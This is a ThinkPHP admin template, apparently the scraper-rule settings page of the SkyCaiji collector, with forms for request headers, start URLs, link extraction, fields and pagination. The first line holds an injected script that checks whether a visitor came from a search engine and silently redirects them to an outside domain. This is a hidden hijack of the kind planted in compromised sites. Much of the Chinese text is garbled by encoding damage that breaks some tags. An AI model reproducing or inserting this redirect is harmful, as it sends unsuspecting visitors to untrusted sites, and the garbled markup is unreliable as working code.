d:\wwwroot\wuchunhua\thinkphp\skycaijiapp\admin\view\cpattern\set.html
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><ul id="coll_tab" class="nav nav-tabs coll-tab">
002:
<li class="active"><a href="#coll_pattern_coll" data-toggle="tab">采集器设?/a></li>
003:
<li><a href="#coll_pattern_source" data-toggle="tab">起始页网€</a></li>
004:
<li><a href="#coll_pattern_link" data-toggle="tab">内容页网€</a></li>
005:
<li><a href="#coll_pattern_field" data-toggle="tab">获取内容</a></li>
006:
<if condition="!empty($collData)">
007:
<li class="dropdown nav-save2store">
008:
<a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">保存规则 <span class="caret"></span></a>
009:
<ul class="dropdown-menu dropdown-menu-right">
010:
<li><a href="{:U('Collector/save2store?coll_id='.$collData['id'])}" title="云端存储,下载规则更方便? onclick="windowModal('保存到云?,$(this).attr('href'));return false;">上传至云?/a></li>
011:
<li><a href="{:U('Collector/export?coll_id='.$collData['id'])}" target="_blank">导出至本?/a></li>
012:
</ul>
013:
</li>
014:
</if>
015:
</ul>
016:
<div id="coll_tab_content" class="tab-content" style="margin-top:-1px">
017:
<div class="tab-pane fade in active" id="coll_pattern_coll">
018:
<div class="panel panel-default">
019:
<div class="panel-body">
020:
<div class="form-group">
021:
<label class="control-label">{$Think.lang.coll_name}</label>
022:
<input type="text" class="form-control" name="name" value="{$collData['name']}" placeholder="选填">
023:
</div>
024:
<div class="form-group">
025:
<label class="control-label">网站编码</label>
026:
<select name="config[charset]" class="form-control">
027:
<option value="">自动€?/option>
028:
<option value="utf-8">utf-8</option>
029:
<option value="gbk">gbk</option>
030:
<option value="gb2312">gb2312</option>
031:
<option value="custom">自定?/option>
032:
</select>
033:
<input type="text" class="form-control" name="config[charset_custom]" style="margin-top:10px;display:none;">
034:
</div>
035:
<div class="form-group">
036:
<label class="control-label">自动补全网址</label>
037:
<div class="input-group">
038:
<label class="radio-inline"><input type="radio" name="config[url_complete]" value="1"> ?/label>
039:
<label class="radio-inline"><input type="radio" name="config[url_complete]" value="0"> ?/label>
040:
</div>
041:
<p class="help-block">将所有页面源码中的相对地€转换成绝对地€(包含超链接、图片€JS链接等)</p>
042:
</div>
043:
</div>
044:
</div>
045:
<div class="panel panel-default">
046:
<div class="panel-heading">
047:
<h4 class="panel-title">
048:
<a data-toggle="collapse" href="#coll_pattern_request_headers" aria-expanded="false">请求头信?/a>
049:
</h4>
050:
</div>
051:
<div id="coll_pattern_request_headers" class="panel-collapse collapse">
052:
<div class="panel-body">
053:
<div class="form-group">
054:
<label class="control-label">€?/label>
055:
<div class="input-group">
056:
<label class="radio-inline"><input type="radio" name="config[request_headers][open]" value="1"> ?/label>
057:
<label class="radio-inline"><input type="radio" name="config[request_headers][open]" value="0"> ?/label>
058:
</div>
059:
</div>
060:
<div id="c_p_request_headers_open" style="display:none;">
061:
<div class="form-group">
062:
<label class="control-label">UserAgent 浏览器标?/label>
063:
<div class="input-group">
064:
<input type="text" class="form-control" name="config[request_headers][useragent]">
065:
<div class="input-group-btn">
066:
<button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"><em style="font-style:normal">常用标识</em> <span class="caret"></span></button>
067:
<ul class="dropdown-menu dropdown-menu-right dm-useragent">
068:
<li><a href="javascript:;" data-useragent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11">谷歌浏览?pc?</a></li>
069:
<li><a href="javascript:;" data-useragent="Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1">火狐浏览?/a></li>
070:
<li><a href="javascript:;" data-useragent="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)">IE8</a></li>
071:
<li><a href="javascript:;" data-useragent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)">IE6</a></li>
072:
<li role="separator" class="divider"></li>
073:
<li><a href="javascript:;" data-useragent="Mozilla/5.0 (Linux; U; Android 4.0.3; zh-cn; M032 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30">安卓系统</a></li>
074:
<li><a href="javascript:;" data-useragent="Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1">IPhone 6</a></li>
075:
<li><a href="javascript:;" data-useragent="Mozilla/5.0 (iPad; CPU OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1">iPad</a></li>
076:
<li><a href="javascript:;" data-useragent="Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Mobile Safari/537.36">三星 Galaxy S5</a></li>
077:
</ul>
078:
</div>
079:
</div>
080:
</div>
081:
<div class="form-group">
082:
<label class="control-label">Cookie 缓存数据</label>
083:
<input type="text" class="form-control" name="config[request_headers][cookie]">
084:
</div>
085:
<div class="form-group">
086:
<label class="control-label">Referer 来源网址</label>
087:
<input type="text" class="form-control" name="config[request_headers][referer]">
088:
</div>
089:
<div class="h-title">
090:
<label class="control-label">自定?/label>
091:
<a href="javascript:;" class="glyphicon glyphicon-plus add-request-header" title="添加"></a>
092:
</div>
093:
<div class="form-group">
094:
<div class="table-responsive">
095:
<table class="table table-hover c-p-request-headers">
096:
<thead>
097:
<tr>
098:
<th class="col-xs-4">名称</th>
099:
<th class="col-xs-6">?/th>
100:
<th class="col-xs-2">删除</th>
101:
</tr>
102:
</thead>
103:
<tbody>
104:
</tbody>
105:
</table>
106:
</div>
107:
</div>
108:
</div>
109:
</div>
110:
</div>
111:
</div>
112:
</div>
113:
<div class="tab-pane fade" id="coll_pattern_source">
114:
<div class="panel panel-default">
115:
<div class="panel-body">
116:
<div class="form-group">
117:
<label class="control-label">起始网址</label>
118:
<a href="javascript:;" class="glyphicon glyphicon-plus" title="添加"></a>
119:
<a href="javascript:;" class="glyphicon glyphicon-trash" title="清空"></a>
120:
</div>
121:
<div class="c-p-source-urls">
122:
<div class="form-group">
123:
<div class="input-group">
124:
<input type="text" class="form-control" autocomplete="off" name="config[source_url][]">
125:
<div class="input-group-addon brl_0"><a href="javascript:;" class="glyphicon glyphicon-edit"></a></div>
126:
<div class="input-group-addon brl_0"><a href="javascript:;" class="glyphicon glyphicon-remove"></a></div>
127:
<div class="input-group-addon"><a href="javascript:;" class="glyphicon glyphicon-arrow-up"></a> <a href="javascript:;" class="glyphicon glyphicon-arrow-down"></a></div>
128:
</div>
129:
</div>
130:
</div>
131:
</div>
132:
<div class="panel-footer" style="padding-top:5px;padding-bottom:5px;">
133:
<div class="checkbox">
134:
<label>
135:
<input type="checkbox" name="config[source_is_url]" value="1"> 设置为内容页网址(不选则为列表页?
136:
</label>
137:
</div>
138:
</div>
139:
</div>
140:
</div>
141:
<div class="tab-pane fade" id="coll_pattern_link">
142:
<div class="panel panel-default" id="panel_coll_pattern_level_url">
143:
<div class="panel-heading">
144:
<h4 class="panel-title">
145:
<a data-toggle="collapse" href="#coll_pattern_level_url" aria-expanded="false">多级网址获取</a>
146:
</h4>
147:
</div>
148:
<div id="coll_pattern_level_url" class="panel-collapse collapse">
149:
<div class="panel-body">
150:
<div class="h-title">
151:
<span class="is-loading"></span>
152:
<label class="control-label">多级网址规则</label>
153:
<a href="javascript:;" class="glyphicon glyphicon-plus add-level-url" title="添加"></a>
154:
</div>
155:
<div class="table-responsive">
156:
<table id="c_p_level_urls" class="table table-bordered table-hover">
157:
<thead>
158:
<tr>
159:
<th>级别</th>
160:
<th>名称</th>
161:
<th>操作</th>
162:
</tr>
163:
</thead>
164:
<tbody>
165:
</tbody>
166:
</table>
167:
</div>
168:
</div>
169:
</div>
170:
</div>
171:
172:
<div class="panel panel-default" id="panel_coll_pattern_cont_url">
173:
<div class="panel-heading">
174:
<h4 class="panel-title">内容页网€获取</h4>
175:
</div>
176:
<div class="panel-body">
177:
<!-- coll_pattern_link -->
178:
<div class="panel panel-default">
179:
<div class="panel-heading">
180:
<h4 class="panel-title">
181:
<a data-toggle="collapse" href="#coll_pattern_link_area" aria-expanded="false" class="collapsed">从€定区域中提取网€</a>
182:
</h4>
183:
</div>
184:
<div id="coll_pattern_link_area" class="panel-collapse collapse" aria-expanded="false" style="height: 0px;">
185:
<div class="panel-body">
186:
<div class="input-group">
187:
<textarea class="form-control" name="config[area_start]" rows="3" placeholder="区域€始代码(默认页面€头)"></textarea>
188:
<div class="input-group-addon iga-rt">
189:
<a href="javascript:;" title="{$Think.lang.tips_sign_wildcard}" class="blk" onclick="cpWildcard('[name=\'config[area_start]\']')">{$Think.lang.sign_wildcard}</a>
190:
<span title="{$Think.lang.tips_regular}" class="blk">正则</span>
191:
</div>
192:
</div>
193:
<div class="input-group-addon" style="border-top:0;border-bottom:0;">?/div>
194:
<div class="input-group">
195:
<textarea class="form-control" name="config[area_end]" rows="3" placeholder="区域结束代码(默认页面结尾)"></textarea>
196:
<div class="input-group-addon iga-rt">
197:
<a href="javascript:;" title="{$Think.lang.tips_sign_wildcard}" class="blk" onclick="cpWildcard('[name=\'config[area_end]\']')">{$Think.lang.sign_wildcard}</a>
198:
<span title="{$Think.lang.tips_regular}" class="blk">正则</span>
199:
</div>
200:
</div>
201:
</div>
202:
</div>
203:
</div>
204:
<div class="panel panel-default">
205:
<div class="panel-heading">
206:
<h4 class="panel-title">
207:
<a data-toggle="collapse" href="#coll_pattern_link_match" class="" aria-expanded="true">匹配内容网址</a>
208:
</h4>
209:
</div>
210:
<div id="coll_pattern_link_match" class="panel-collapse collapse" aria-expanded="false" style="height: 0px;">
211:
<div class="panel-body">
212:
<div class="form-group">
213:
<label class="control-label">提取网址规则</label>
214:
<div class="input-group">
215:
<textarea class="form-control" name="config[url_rule]" rows="3" placeholder="默认获取a标签链接,{$Think.lang.tips_match_url}"></textarea>
216:
<div class="input-group-addon iga-rt">
217:
<a href="javascript:;" title="{$Think.lang.tips_sign_wildcard}" onclick="cpWildcard('[name=\'config[url_rule]\']')">{$Think.lang.sign_wildcard}</a>
218:
<span title="{$Think.lang.tips_regular}">正则</span>
219:
<a href="javascript:;" title="{$Think.lang.tips_sign_match}" class="blk" onclick="cpMatch('[name=\'config[url_rule]\']')">{:cp_sign('match')}</a>
220:
<a href="javascript:;" title="{$Think.lang.tips_sign_group}" class="blk" onclick="cpMatch('[name=\'config[url_rule]\']',{group:1})">捕获?/a>
221:
</div>
222:
</div>
223:
</div>
224:
<div class="form-group">
225:
<label class="control-label">拼接成最终网€</label>
226:
<div class="input-group">
227:
<input type="text" class="form-control" name="config[url_merge]" placeholder="默认拼接€有{:cp_sign('match')}标签,{$Think.lang.tips_matchn_url}"/>
228:
<div class="input-group-addon iga-rt">
229:
<a href="javascript:;" title="调用规则中的标签" onclick="cpMatchN('[name=\'config[url_rule]\']','[name=\'config[url_merge]\']')">{:cp_sign('match','N')}</a>
230:
</div>
231:
</div>
232:
</div>
233:
</div>
234:
</div>
235:
</div>
236:
<div class="panel panel-default">
237:
<div class="panel-heading">
238:
<h4 class="panel-title">
239:
<a data-toggle="collapse" href="#coll_pattern_link_filter" class="collapsed" aria-expanded="false">结果网址过滤</a>
240:
</h4>
241:
</div>
242:
<div id="coll_pattern_link_filter" class="panel-collapse collapse in" aria-expanded="true">
243:
<div class="panel-body">
244:
<div class="input-group" style="margin-bottom:7px;">
245:
<span class="input-group-addon">必须包含</span>
246:
<input type="text" name="config[url_must]" class="form-control" placeholder="可模糊匹? />
247:
<div class="input-group-addon iga-rt">
248:
<a href="javascript:;" title="{$Think.lang.tips_sign_wildcard}" class="mgr" onclick="cpWildcard('[name=\'config[url_must]\']')">{$Think.lang.sign_wildcard}</a>
249:
<span title="{$Think.lang.tips_regular}">正则</span>
250:
</div>
251:
</div>
252:
<div class="input-group">
253:
<span class="input-group-addon">不能包含</span>
254:
<input type="text" name="config[url_ban]" class="form-control" placeholder="可模糊匹? />
255:
<div class="input-group-addon iga-rt">
256:
<a href="javascript:;" title="{$Think.lang.tips_sign_wildcard}" class="mgr" onclick="cpWildcard('[name=\'config[url_ban]\']')">{$Think.lang.sign_wildcard}</a>
257:
<span title="{$Think.lang.tips_regular}">正则</span>
258:
</div>
259:
</div>
260:
</div>
261:
</div>
262:
</div>
263:
<!-- end coll_pattern_link -->
264:
</div>
265:
</div>
266:
267:
<div class="panel panel-default">
268:
<div class="panel-heading">
269:
<h4 class="panel-title">
270:
<a data-toggle="collapse" href="#coll_pattern_relation_url" aria-expanded="false">关联页网€获取</a>
271:
</h4>
272:
</div>
273:
<div id="coll_pattern_relation_url" class="panel-collapse collapse">
274:
<div class="panel-body">
275:
<div class="h-title">
276:
<span class="is-loading"></span>
277:
<label class="control-label">关联页规?/label>
278:
<a href="javascript:;" class="glyphicon glyphicon-plus add-relation-url" title="添加"></a>
279:
</div>
280:
<div class="table-responsive">
281:
<table id="c_p_relation_urls" class="table table-bordered table-hover">
282:
<thead>
283:
<tr>
284:
<th>名称</th>
285:
<th>从页面中提取</th>
286:
<th>操作</th>
287:
</tr>
288:
</thead>
289:
<tbody>
290:
</tbody>
291:
</table>
292:
</div>
293:
</div>
294:
</div>
295:
</div>
296:
297:
<if condition="!empty($collData)">
298:
<div class="form-group">
299:
<div class="dropdown">
300:
<button class="btn btn-default btn-block dropdown-toggle" type="button" id="dropdownMenuTestUrl" data-toggle="dropdown" aria-haspopup="true" aria-expanded="true">
301:
测试(需先保存设置)
302:
<span class="caret"></span>
303:
</button>
304:
<ul class="dropdown-menu" style="width:100%;text-align:center;" aria-labelledby="dropdownMenuTestUrl">
305:
<li><a href="{:U('Collector/test?op=source_urls&coll_id='.$collData['id'])}" target="_blank" onclick="windowModal('测试',$(this).attr('href'),{lg:1});return false;">测试抓取内容页网€</a></li>
306:
<li><a href="{:U('Collector/test?op=cont_url&coll_id='.$collData['id'])}&test=get_relation_urls" target="_blank" onclick="windowModal('测试',$(this).attr('href'),{lg:1});return false;">测试抓取关联页网€</a></li>
307:
</ul>
308:
</div>
309:
</div>
310:
</if>
311:
</div>
312:
<div class="tab-pane fade" id="coll_pattern_field">
313:
<div class="panel panel-default">
314:
<div class="panel-body">
315:
<div class="h-title">
316:
<label class="control-label">字段列表</label>
317:
<a href="javascript:;" class="glyphicon glyphicon-plus add-field" title="添加"></a>
318:
<a href="javascript:;" onclick="c_pattern.add_default_fields()" style="float:right;font-weight:normal;">添加默认</a>
319:
</div>
320:
<div class="table-responsive">
321:
<table class="table table-bordered table-hover c-p-field-list">
322:
<thead>
323:
<tr>
324:
<th>字段</th>
325:
<th>数据?/th>
326:
<th>获取方式</th>
327:
<th>操作</th>
328:
</tr>
329:
</thead>
330:
<tbody>
331:
</tbody>
332:
</table>
333:
</div>
334:
</div>
335:
</div>
336:
<div class="panel panel-default">
337:
<div class="panel-heading">
338:
<h4 class="panel-title">
339:
<a data-toggle="collapse" href="#coll_pattern_process" aria-expanded="false">数据处理(€用?/a>
340:
</h4>
341:
</div>
342:
<div id="coll_pattern_process" class="panel-collapse collapse">
343:
<div class="panel-body">
344:
<div class="h-title">
345:
<label class="control-label">通用数据处理</label>
346:
<a href="javascript:;" class="glyphicon glyphicon-plus add-process" title="添加"></a>
347:
</div>
348:
<div class="panel-group c-p-process-accordion">
349:
</div>
350:
</div>
351:
</div>
352:
</div>
353:
<div class="panel panel-default">
354:
<div class="panel-heading">
355:
<h4 class="panel-title">
356:
<a data-toggle="collapse" href="#coll_pattern_paging" aria-expanded="false">内容分页</a>
357:
</h4>
358:
</div>
359:
<div id="coll_pattern_paging" class="panel-collapse collapse">
360:
<div class="panel-body">
361:
<div class="form-group">
362:
<label class="control-label">€启分?/label>
363:
<div class="input-group">
364:
<label class="radio-inline"><input type="radio" name="config[paging][open]" value="1"> ?/label>
365:
<label class="radio-inline"><input type="radio" name="config[paging][open]" value="0"> ?/label>
366:
</div>
367:
</div>
368:
<div id="c_p_paging_open" style="display:none;">
369:
<div class="form-group">
370:
<label class="control-label">
371:
分页内容字段
372:
<a href="javascript:;" class="glyphicon glyphicon-plus add-paging-field" title="添加"></a>
373:
</label>
374:
<div id="c_p_paging_fields"></div>
375:
</div>
376:
<div class="form-group">
377:
<label class="control-label">获取分页区域</label>
378:
<div class="input-group">
379:
<textarea name="config[paging][area]" class="form-control" rows="3" placeholder="默认整个页面,{$Think.lang.tips_match_only}"></textarea>
380:
<div class="input-group-addon iga-rt">
381:
<a href="javascript:;" title="{$Think.lang.tips_sign_wildcard}" onclick="cpWildcard('[name=\'config[paging][area]\']')">{$Think.lang.sign_wildcard}</a>
382:
<span title="{$Think.lang.tips_regular}">正则</span>
383:
<a href="javascript:;" title="{$Think.lang.tips_sign_match_only}" class="blk" onclick="cpMatch('[name=\'config[paging][area]\']',{only:1})">{:cp_sign('match')}</a>
384:
<a href="javascript:;" title="{$Think.lang.tips_sign_group_only}" class="blk" onclick="cpMatch('[name=\'config[paging][area]\']',{only:1,group:1})">捕获?/a>
385:
</div>
386:
</div>
387:
<p class="help-block"><b>{:cp_sign('match')}</b>标签可返回匹配的数据,否则返回完全匹配的数据</p>
388:
</div>
389:
<div class="form-group">
390:
<label class="control-label">分页链接规则</label>
391:
<div class="input-group">
392:
<textarea name="config[paging][url_rule]" class="form-control" rows="3" placeholder="必须填写规则,{$Think.lang.tips_match_url}"></textarea>
393:
<div class="input-group-addon iga-rt">
394:
<a href="javascript:;" title="{$Think.lang.tips_sign_wildcard}" onclick="cpWildcard('[name=\'config[paging][url_rule]\']')">{$Think.lang.sign_wildcard}</a>
395:
<span title="{$Think.lang.tips_regular}">正则</span>
396:
<a href="javascript:;" title="{$Think.lang.tips_sign_match}" class="blk" onclick="cpMatch('[name=\'config[paging][url_rule]\']')">{:cp_sign('match')}</a>
397:
<a href="javascript:;" title="{$Think.lang.tips_sign_group}" class="blk" onclick="cpMatch('[name=\'config[paging][url_rule]\']',{group:1})">捕获?/a>
398:
</div>
399:
</div>
400:
</div>
401:
<div class="form-group">
402:
<label class="control-label">拼接成最终分页链?/label>
403:
<div class="input-group">
404:
<input type="text" class="form-control" name="config[paging][url_merge]" placeholder="“分页链接规则€中无{:cp_sign('match')}时默认获取完全匹配的值,有{:cp_sign('match')}时默认拼接所有{:cp_sign('match')}标签,{$Think.lang.tips_matchn_url}"/>
405:
<div class="input-group-addon iga-rt">
406:
<a href="javascript:;" title="调用规则中的标签" onclick="cpMatchN('[name=\'config[paging][url_rule]\']','[name=\'config[paging][url_merge]\']')">{:cp_sign('match','N')}</a>
407:
</div>
408:
</div>
409:
</div>
410:
<div class="form-group">
411:
<label class="control-label">分页网址过滤</label>
412:
<div class="input-group" style="margin-bottom:7px;">
413:
<span class="input-group-addon">必须包含</span>
414:
<input type="text" name="config[paging][url_must]" class="form-control" placeholder="选填,可模糊匹配" />
415:
<div class="input-group-addon iga-rt">
416:
<a href="javascript:;" title="{$Think.lang.tips_sign_wildcard}" class="mgr" onclick="cpWildcard('[name=\'config[paging][url_must]\']')">{$Think.lang.sign_wildcard}</a>
417:
<span title="{$Think.lang.tips_regular}">正则</span>
418:
</div>
419:
</div>
420:
<div class="input-group">
421:
<span class="input-group-addon">不能包含</span>
422:
<input type="text" name="config[paging][url_ban]" class="form-control" placeholder="选填,可模糊匹配" />
423:
<div class="input-group-addon iga-rt">
424:
<a href="javascript:;" title="{$Think.lang.tips_sign_wildcard}" class="mgr" onclick="cpWildcard('[name=\'config[paging][url_ban]\']')">{$Think.lang.sign_wildcard}</a>
425:
<span title="{$Think.lang.tips_regular}">正则</span>
426:
</div>
427:
</div>
428:
</div>
429:
<div class="form-group">
430:
<label class="control-label">€大分页数</label>
431:
<input type="number" class="form-control" name="config[paging][max]" value="10">
432:
<p class="help-block">?表示不限制会自动循环抓取到最后一页,为防止出现无限循环的情况,最好设置一个数?/p>
433:
</div>
434:
</div>
435:
</div>
436:
</div>
437:
</div>
438:
<if condition="!empty($collData)">
439:
<div class="form-group">
440:
<a href="{:U('Collector/test?op=cont_url&coll_id='.$collData['id'])}" target="_blank" onclick="windowModal('测试',$(this).attr('href'),{lg:1});return false;" class="btn btn-default btn-block" style="margin-bottom:10px;">测试(需先保存设置)</a>
441:
</div>
442:
</if>
443:
</div>
444:
</div>
445:
<link href="__PUBLIC__/css/jquery.datetimepicker.css" rel="stylesheet">
446:
<script type="text/javascript" src="__PUBLIC__/js/jquery.datetimepicker.js"></script>
447:
<script type="text/javascript">
448:
var c_pattern=new CollectorPattern('form_coll');
449:
c_pattern.init();
450:
451:
<if condition="!empty($collData['config'])">
452:
c_pattern.load({$collData['config']|json_encode});
453:
</if>
454:
455:
</script>
456:
457: